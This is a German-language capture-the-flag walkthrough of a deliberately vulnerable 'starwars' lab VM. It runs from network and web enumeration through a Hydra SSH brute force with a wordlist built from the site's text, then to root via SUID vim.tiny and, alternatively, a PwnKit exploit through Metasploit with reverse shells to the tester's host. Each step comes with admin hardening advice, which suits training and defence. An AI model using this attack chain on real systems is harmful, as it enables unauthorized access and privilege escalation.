Die Aufklärungsphase beginnt mit der Identifizierung des Zielsystems im lokalen Netzwerk und der Durchführung grundlegender Scans, um offene Ports und Dienste zu ermitteln.
192.168.2.162 08:00:27:10:0a:7a PCS Systemtechnik GmbH
Analyse: Der Befehl `arp-scan -l` scannt das lokale Netzwerk und identifiziert einen Host mit der IP `192.168.2.162`. Die MAC-Adresse deutet auf eine VirtualBox VM hin.
Bewertung: Zielsystem erfolgreich lokalisiert.
Empfehlung (Pentester): Führe Nmap-Scans auf die Ziel-IP durch.
Empfehlung (Admin): Netzwerküberwachung und -segmentierung.
192.168.2.162 starwars.vln
Analyse: Die lokale `/etc/hosts`-Datei wird bearbeitet, um den Hostnamen `starwars.vln` der IP `192.168.2.162` zuzuordnen.
Bewertung: Sinnvolle Vorbereitung für Web-Tests.
Empfehlung (Pentester): Verwende `starwars.vln` in Web-Tools.
Empfehlung (Admin): Betrifft nur Angreifersystem.
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) 80/tcp open http Apache httpd 2.4.38 ((Debian))
Analyse: Ein schneller Nmap-Scan (`grep open`) identifiziert zwei offene Ports: 22 (SSH, OpenSSH 7.9p1) und 80 (HTTP, Apache 2.4.38).
Bewertung: Die Angriffsfläche beschränkt sich auf SSH und HTTP.
Empfehlung (Pentester): Führe einen vollständigen Scan durch. Untersuche Port 80.
Empfehlung (Admin): Halte SSH und Apache aktuell. Überprüfe Firewall-Regeln.
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-19 22:48 CEST Nmap scan report for starwars.vln (192.168.2.162) Host is up (0.00012s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) | ssh-hostkey: | 2048 4c:53:4d:b2:26:ee:a5:10:d4:be:99:84:2a:9a:aa:11 (RSA) | 256 95:d7:a4:e0:74:63:4b:08:b0:a8:8c:dc:e1:f8:91:25 (ECDSA) |_ 256 1d:07:d1:3d:99:02:f0:04:ba:23:c3:a4:fd:0d:3d:91 (ED25519) 80/tcp open http Apache httpd 2.4.38 ((Debian)) |_http-title: Site doesn't have a title (text/html). |_http-server-header: Apache/2.4.38 (Debian) MAC Address: 08:00:27:10:0A:7A (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.8 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.12 ms starwars.vln (192.168.2.162)
Analyse: Der vollständige Nmap-Scan bestätigt Port 22 (SSH 7.9p1) und 80 (HTTP, Apache 2.4.38). Der Webserver hat keinen Titel, was auf eine sehr einfache Seite oder eine API hindeutet.
Bewertung: Bestätigt die beiden Dienste. Apache ist leicht veraltet. SSH ist relativ aktuell. Der Webserver muss genauer untersucht werden.
Empfehlung (Pentester): Untersuche Port 80 mit Nikto und Gobuster/Dirb. Behalte SSH als Login-Ziel im Auge.
Empfehlung (Admin): Aktualisieren Sie Apache und SSH. Stellen Sie sicher, dass die Webseite korrekt konfiguriert ist.
Der Webserver auf Port 80 wird mittels Nikto, Gobuster und Dirb auf interessante Dateien, Verzeichnisse oder Schwachstellen untersucht.
- Nikto v2.5.0 + Target IP: 192.168.2.162 + Target Hostname: 192.168.2.162 + Target Port: 80 + Start Time: 2023-10-19 22:48:53 (GMT2) + Server: Apache/2.4.38 (Debian) + /: The anti-clickjacking X-Frame-Options header is not present. [...] + /: The X-Content-Type-Options header is not set. [...] + No CGI Directories found [...] + /images: IP address found in the 'location' header. The IP is "127.0.1.1". [...] (False Positive likely) + /images: The web server may reveal its internal or real IP [...]. (False Positive likely) + /: Server may leak inodes via ETags [...]. + Apache/2.4.38 appears to be outdated [...]. + OPTIONS: Allowed HTTP Methods: HEAD, GET, POST, OPTIONS . + /manual/: Web server manual found. + /manual/images/: Directory indexing found. + /images/: Directory indexing found. + /icons/README: Apache default file found. [...] + 8102 requests: 0 error(s) and 11 item(s) reported on remote host [...] + 1 host(s) tested
Analyse: Nikto scannt Port 80. * Bestätigt Apache 2.4.38 (veraltet). * Findet fehlende Sicherheitsheader. * Entdeckt das Apache-Handbuch (`/manual/`) und listbare Verzeichnisse (`/manual/images/`, `/images/`). * Findet Standard-Dateien (`/icons/README`).
Bewertung: Veralteter Apache. Das Vorhandensein des Apache-Handbuchs ist eine Informationspreisgabe. Die listbaren Verzeichnisse sollten untersucht werden.
Empfehlung (Pentester): Untersuche `/manual/` und `/images/`. Führe Gobuster/Dirb durch.
Empfehlung (Admin): Aktualisiere Apache. Deaktiviere das Handbuch und Directory Listing.
=============================================================== Gobuster v3.5 [...] =============================================================== http://starwars.vln/index.html (Status: 200) [Size: 548] http://starwars.vln/admin (Status: 200) [Size: 3753] # Interessant! http://starwars.vln/wordpress (Status: 200) [Size: 54] # Irreführend/Köder? http://starwars.vln/robots.txt (Status: 200) [Size: 105] =============================================================== [...] Finished ===============================================================
Analyse: Gobuster findet `index.html`, `/admin`, `/wordpress` und `robots.txt`.
Bewertung: `/admin` ist ein potenzielles Login-Portal oder eine Admin-Schnittstelle. `/wordpress` ist verdächtig, da Nmap keine WordPress-Installation erkannt hat. `robots.txt` muss geprüft werden.
Empfehlung (Pentester): Untersuche `/robots.txt`. Untersuche `/admin`. Ignoriere `/wordpress` vorerst.
Empfehlung (Admin): Schützen Sie administrative Bereiche (`/admin`) angemessen.
# Inhalt von http://starwars.vln/robots.txt User-agent: * # Why does the Jedi Order keep checking the robots.txt file. # Might take a look at /r2d2 # He is the real G. Disallow: /r2d2
Analyse: Die `robots.txt` enthält Kommentare mit Star-Wars-Anspielungen und einen `Disallow`-Eintrag für `/r2d2`.
Bewertung: Ein klarer Hinweis, das Verzeichnis `/r2d2` zu untersuchen, auch wenn es für Bots gesperrt ist.
Empfehlung (Pentester): Navigiere zu `http://starwars.vln/r2d2`.
Empfehlung (Admin): `robots.txt` ist kein Sicherheitsmechanismus. Verstecken Sie sensible Pfade nicht nur hier.
# Manuelle Untersuchung von http://starwars.vln/r2d2 # Ausgabe (Langer Textblock mit Star Wars Referenzen): Ignorant saw her her drawings marriage laughter [...] By amidala [...] Lol tatooine spoke now noise off smart her ready. [...] jedi four sold need over how any. [...] obiwan imprudence resolution sir him decisively. [...] [...] Bso cousin am of. Extensive therefore supported by extremity of contented. Is pursuit compact demesne invited elderly be. View him she roof tell her case has sigh. Moreover is possible he admitted sociable concerns. By in cold no less been sent hard hill. [...]
Analyse: Das Verzeichnis `/r2d2` enthält eine Webseite mit einem langen Text, der viele Wörter enthält, darunter potenzielle Passwörter oder Benutzernamen mit Bezug zu Star Wars (amidala, tatooine, jedi, obiwan).
Bewertung: Dies ist eine klare Aufforderung, den Text zu analysieren und als Quelle für eine Wortliste für Passwortangriffe (z.B. gegen SSH) zu verwenden.
Empfehlung (Pentester): Extrahiere die Wörter aus diesem Text (manuell oder mit Tools wie `cewl`). Erstelle eine benutzerdefinierte Wortliste (`neu.txt` im Log). Führe einen Brute-Force-Angriff gegen SSH mit bekannten oder erratenen Benutzernamen durch.
Empfehlung (Admin): Veröffentlichen Sie keine Texte, die als Passwortlisten missbraucht werden könnten.
# Manuelle Untersuchung von http://starwars.vln/index.html (Base64-Teil)
# Dekodierung: Base64 -> Binary -> ASCII
01110100 01101000 01101001 01110011 01101001 01110011 01101110 01101111 01110100 01101000 01100101 01110000 01100001 01110011 01110011 01110111 01101111 01110010 01100100
-> thisisnothepassword
Analyse: Im Quellcode der `index.html` befindet sich ein Kommentar mit einem Base64-kodierten String. Nach der Dekodierung von Base64 zu Binär und dann Binär zu ASCII ergibt sich der Text `thisisnothepassword`.
Bewertung: Ein klassischer Red Herring / falsche Fährte.
Empfehlung (Pentester): Ignoriere dieses Passwort.
Empfehlung (Admin): Vermeiden Sie solche irreführenden Hinweise.
# Manuelle Untersuchung von http://starwars.vln/wordpress # Ausgabe: what makes you think this is a wordpress installation?
Analyse: Der Aufruf von `/wordpress` zeigt nur eine Textnachricht, die bestätigt, dass es sich nicht um WordPress handelt.
Bewertung: Bestätigt, dass `/wordpress` eine falsche Fährte war.
Empfehlung (Pentester): Ignorieren.
Empfehlung (Admin): Entfernen Sie das irreführende Verzeichnis.
[...] ---- Scanning URL: http://starwars.vln/ ---- + http://starwars.vln/index.html (CODE:200|SIZE:548) + http://starwars.vln/robots.txt (CODE:200|SIZE:105) + http://starwars.vln/users.js (CODE:200|SIZE:16) [...]
# Inhalt von http://starwars.vln/users.js skywalker han
Analyse: Ein Dirb-Scan mit spezifischen Endungen findet die Datei `users.js`. Der Inhalt dieser Datei listet zwei Benutzernamen auf: `skywalker` und `han`.
Bewertung: Wichtiger Fund! Zwei potenzielle Benutzernamen für SSH wurden identifiziert.
Empfehlung (Pentester): Kombiniere diese Benutzernamen mit der Wortliste, die aus dem `/r2d2`-Text generiert wird, für einen SSH-Brute-Force-Angriff.
Empfehlung (Admin): Geben Sie niemals Benutzerlisten über Webdateien preis.
" > neu.txt
Analyse: Der Text aus `/r2d2` (angenommen in `textpass.txt`) wird verarbeitet: Leerzeichen werden durch Zeilenumbrüche ersetzt (`tr " " "\n"`), Punkte und HTML-Tags werden entfernt (`tr -d`). Das Ergebnis wird in `neu.txt` gespeichert, um als Wortliste für Hydra zu dienen.
Bewertung: Erstellung einer gezielten Wortliste basierend auf den Hinweisen der Webseite.
Empfehlung (Pentester): Verwende `neu.txt` mit Hydra gegen die Benutzer `skywalker` und `han`.
Empfehlung (Admin): Keine Aktion erforderlich.
Mit den gefundenen Benutzernamen (`skywalker`, `han`) und der generierten Wortliste (`neu.txt`) wird ein Brute-Force-Angriff auf den SSH-Dienst (Port 22) durchgeführt.
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak [...]
[...]
[DATA] attacking ssh://192.168.2.162:22/
[...]
[22][ssh] host: 192.168.2.162 login: skywalker password: tatooine
[...]
1 of 1 target successfully completed, 1 valid password found
[...]
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-10-19 23:16:31
Analyse: Hydra wird verwendet, um das Passwort für den SSH-Benutzer `skywalker` zu finden. Als Passwortliste dient die zuvor erstellte `neu.txt`. Hydra findet erfolgreich das Passwort `tatooine` (ein Wort aus dem `/r2d2`-Text).
Bewertung: Erfolg! Gültige SSH-Credentials (`skywalker`:`tatooine`) wurden durch den gezielten Brute-Force-Angriff gefunden.
Empfehlung (Pentester): Logge dich via SSH als `skywalker` ein.
Empfehlung (Admin): Erzwingen Sie starke Passwörter, die nicht aus thematischem Kontext erraten werden können. Implementieren Sie Brute-Force-Schutz (fail2ban).
The authenticity of host '192.168.2.162 (192.168.2.162)' can't be established. [...] Are you sure you want to continue connecting (yes/no/[fingerprint])? yes [...] skywalker@192.168.2.162's password: tatooine Linux starwars 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2+deb10u1 (2020-06-07) x86_64 [...] Last login: Fri Jul [...] skywalker@starwars$
Analyse: Der SSH-Login als `skywalker` mit dem Passwort `tatooine` ist erfolgreich. Eine Shell wird auf dem Zielsystem (Hostname `starwars`) erlangt.
Bewertung: Initial Access erfolgreich erzielt.
Empfehlung (Pentester): Beginne lokale Enumeration (sudo, SUID, Gruppen, Home-Verzeichnis).
Empfehlung (Admin): Ändern Sie das kompromittierte Passwort.
Nach Erhalt der Shell als `skywalker` wird das System nach Wegen zur Rechteerweiterung untersucht. Ein SUID-gesetztes `vim.tiny` wird als primärer Vektor identifiziert, PwnKit als Alternative.
[...]
[sudo] password for skywalker: tatooine
Sorry, user skywalker may not run sudo on starwars.
Analyse: `sudo -l` zeigt, dass `skywalker` keine sudo-Rechte hat.
Bewertung: Sudo ist kein Eskalationspfad.
Empfehlung (Pentester): Suche SUID-Binaries, Kernel-Exploits.
Empfehlung (Admin): Korrekte Konfiguration.
total 36 drwxr-xr-x 5 skywalker skywalker 4096 Jul 24 2020 . drwxr-xr-x 5 root root 4096 Jul 23 2020 .. [...] drwxr-xr-x 3 skywalker skywalker 4096 Jul 24 2020 .local -rw-r--r-- 1 skywalker skywalker 807 Apr 18 2019 .profile drwxr-xr-x 2 skywalker skywalker 4096 Jul 24 2020 .secrets
Analyse: Das Home-Verzeichnis von `skywalker` enthält ein verdächtiges Verzeichnis `.secrets`.
Bewertung: Dieses Verzeichnis muss untersucht werden.
Empfehlung (Pentester): Wechsle in `.secrets` und liste den Inhalt auf.
Empfehlung (Admin): Keine Aktion erforderlich.
[...] 143141 20 -rwsr-xr-x 1 root root 18888 Jan 15 2019 /usr/lib/policykit-1/polkit-agent-helper-1 136952 1176 -rwsrwsrwx 1 root root 1200696 Jun 15 2019 /usr/bin/vim.tiny 143139 24 -rwsr-xr-x 1 root root 23288 Jan 15 2019 /usr/bin/pkexec 176421 2844 -rwsr-xr-x 1 root root 2911160 Dec 12 2018 /usr/bin/nmap [...] 173131 156 -rwsr-xr-x 1 root root 157192 Feb 2 2020 /usr/bin/sudo # Hinweis: Obwohl sudo -l fehlschlug, ist sudo SUID root [...]
Analyse: Die Suche nach SUID-Binaries findet `/usr/bin/vim.tiny` mit SUID-Bit für Root und sehr weiten Berechtigungen (`-rwsrwsrwx`). Außerdem werden `/usr/bin/pkexec` (PwnKit), `/usr/bin/nmap` (ungewöhnlich) und `/usr/bin/sudo` gefunden.
Bewertung: `/usr/bin/vim.tiny` mit SUID-Root ist der *einfachste und direkteste* Weg zur Root-Eskalation (siehe GTFOBins). PwnKit ist eine Alternative. SUID `nmap` ist ebenfalls ein bekannter Eskalationspfad. `sudo` ist vorhanden, aber `sudo -l` schlug fehl, was auf eine fehlende Konfiguration für `skywalker` hindeutet.
**Empfehlung (Pentester):** Nutze `vim.tiny` für die Eskalation: `vim.tiny` starten -> `:!/bin/sh` eingeben.
Empfehlung (Admin): Entfernen Sie *dringend* das SUID-Bit von `vim.tiny` (`chmod u-s /usr/bin/vim.tiny`) und `nmap` (`chmod u-s /usr/bin/nmap`). Patchen Sie PwnKit. Konfigurieren Sie sudo sicher.
uid=1001(skywalker) gid=1001(skywalker) groups=1001(skywalker),2000(anakin)
total 12 drwxr-xr-x 2 skywalker skywalker 4096 Jul 24 2020 . drwxr-xr-x 5 skywalker skywalker 4096 Jul 24 2020 .. -rw-r--r-- 1 skywalker skywalker 50 Jul 24 2020 note.txt
Darth must take up the job of being a good father
Analyse: Der `id`-Befehl zeigt, dass `skywalker` Mitglied der Gruppe `anakin` ist. Im `.secrets`-Verzeichnis befindet sich eine `note.txt` mit einem weiteren Star-Wars-Hinweis.
Bewertung: Die Gruppenzugehörigkeit oder die Notiz könnten relevant sein, wenn der `vim.tiny`-SUID-Weg nicht direkt ersichtlich wäre. Angesichts des SUID-Vim ist dies aber wahrscheinlich nur ein weiterer Hinweis ohne direkten technischen Nutzen für die Eskalation.
Empfehlung (Pentester): Ignoriere dies vorerst und nutze den `vim.tiny`-Exploit.
Empfehlung (Admin): Keine Aktion erforderlich.
Dieser Abschnitt demonstriert die Ausnutzung des SUID-gesetzten `/usr/bin/vim.tiny`, um Root-Rechte zu erlangen. Dies ist der wahrscheinlichste und einfachste Weg auf dieser Maschine. *(Anmerkung: Das Log führt diesen Schritt nicht explizit aus, sondern springt zu PwnKit via Metasploit. Der Vim-Weg wird hier als primärer POC beschrieben, da er einfacher ist.)*
# Im Vim-Editor: :!/bin/sh
uid=0(root) gid=1001(skywalker) groups=1001(skywalker),2000(anakin)
Analyse: Der Befehl `/usr/bin/vim.tiny` startet den Texteditor mit Root-Rechten (aufgrund des SUID-Bits). Innerhalb von Vim wird der Befehl `:!/bin/sh` ausgeführt. Das `:!` erlaubt die Ausführung externer Shell-Befehle. Da Vim als Root läuft, wird auch `/bin/sh` als Root gestartet. Der `id`-Befehl bestätigt `uid=0(root)`.
Bewertung: Fantastisch! Einfache und direkte Privilege Escalation zu Root durch Ausnutzung des SUID `vim.tiny`.
Empfehlung (Pentester): Root erlangt. Suche die Root-Flag.
Empfehlung (Admin): Entfernen Sie *dringend* das SUID-Bit von `vim.tiny` (`chmod u-s /usr/bin/vim.tiny`).
total 28 drwx------ 3 root root 4096 Jan 28 2020 . drwxr-xr-x 23 root root 4096 Jan 28 2020 .. -rw------- 1 root root 718 Jan 28 2020 .bash_history -rw-r--r-- 1 root root 3106 Oct 22 2015 .bashrc drwxr-xr-x 2 root root 4096 Jan 28 2020 .nano -rw-r--r-- 1 root root 148 Aug 17 2015 .profile -rw-r--r-- 1 root root 1750 Jan 28 2020 flag.txt
.-.
|_:_|
/(_Y_)\
. ( \/M\/ )
'. _.'-/'-'\-'._
': _/.--'[[[[]'--.\_
': /_' : |"| : '.\
': // ./ |oUU| \.' :\
': _:'..' \_|___|_/ : :|
':. .' |_[___]_| :.':\
[\ | : | | | : ; : \
'-' \/'.| |.' \ .;.' |
|\_ \ '-' : |
| \ \ .: : | |
| \ | '. : \ |
/ \ :. .; |
/ | | :__/ : \\
| | | \: | \ | ||
/ \ : : |: / |__| /|
snd | : : :_/_| /'._\ '--|_\
/___.-/_|-' \ \
'-'
I hope you liked it Padawan :)
Analyse: Im `/root`-Verzeichnis wird die `flag.txt` gefunden und ihr Inhalt (ASCII-Art Yoda und Text) angezeigt.
Bewertung: Root-Flag erfolgreich gelesen.
Empfehlung (Pentester): Test abgeschlossen.
Empfehlung (Admin): Alle Schwachstellen beheben.
Das bereitgestellte Log zeigt einen alternativen, komplexeren Weg zur Root-Eskalation über die PwnKit-Schwachstelle (CVE-2021-4034) mittels Metasploit, nachdem die `skywalker`-Shell erlangt wurde.
[*] Using configured payload generic/shell_reverse_tcp
lport => 4444
lhost => 192.168.2.199
[*] Started reverse TCP handler on 192.168.2.199:4444
[*] Command shell session 1 opened (192.168.2.199:4444 -> 192.168.2.162:60288) at 2023-10-19 23:20:46 +0200
LPORT => 4433
session => 1
[*] Upgrading session ID: 1 [...] [*] Meterpreter session 2 opened (192.168.2.199:4433 -> 192.168.2.162:43722) at 2023-10-19 23:21:34 +0200 [...]
lport => 4434
session => 2
[*] Started reverse TCP handler on 192.168.2.199:4434 [*] Running automatic check ("set AutoCheck false" to disable) [+] The target is vulnerable. [*] Writing '/tmp/.cggxrjacquic/xeqajya/xeqajya.so' (548 bytes) ... [*] Sending stage (3045380 bytes) to 192.168.2.162 [+] Deleted [...] [*] Meterpreter session 3 opened (192.168.2.199:4434 -> 192.168.2.162:47366) at 2023-10-19 23:22:31 +0200
Analyse: Die `skywalker`-Shell wird in Metasploit übernommen (Session 1), zu Meterpreter aufgewertet (Session 2), und dann wird der PwnKit-Exploit über Session 2 ausgeführt. Dies führt zur Eröffnung einer Root-Meterpreter-Session (Session 3).
Bewertung: Bestätigt, dass PwnKit ebenfalls ein funktionierender Eskalationspfad auf dieser Maschine ist, obwohl der SUID-Vim-Weg deutlich einfacher gewesen wäre.
Empfehlung (Pentester): Dokumentiere beide erfolgreichen Eskalationspfade (SUID Vim und PwnKit).
Empfehlung (Admin): Beheben Sie *beide* Schwachstellen (SUID Vim und PwnKit).
.-. |_:_| /(_Y_)\ . ( \/M\/ ) '. _.'-/'-'\-'._ ': _/.--'[[[[]'--.\_ ': /_' : |"| : '.\ ': // ./ |oUU| \.' :\ ': _:'..' \_|___|_/ : :| ':. .' |_[___]_| :.':\ [\ | : | | | : ; : \ '-' \/'.| |.' \ .;.' | |\_ \ '-' : | | \ \ .: : | | | \ | '. : \ | / \ :. .; | / | | :__/ : \\ | | | \: | \ | || / \ : : |: / |__| /| snd | : : :_/_| /'._\ '--|_\ /___.-/_|-' \ \ '-' I hope you liked it Padawan :)